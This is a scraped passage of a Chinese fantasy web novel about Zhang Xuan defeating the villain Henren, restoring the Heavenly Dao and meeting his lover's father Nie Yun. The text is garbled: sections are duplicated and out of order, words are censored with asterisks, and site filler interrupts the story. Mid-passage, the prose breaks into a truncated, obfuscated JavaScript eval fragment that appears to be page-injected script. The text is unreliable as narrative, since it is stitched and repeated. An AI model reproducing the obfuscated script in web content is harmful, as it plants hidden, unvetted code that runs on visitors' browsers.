崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第212章表明真心 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第213章义女 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 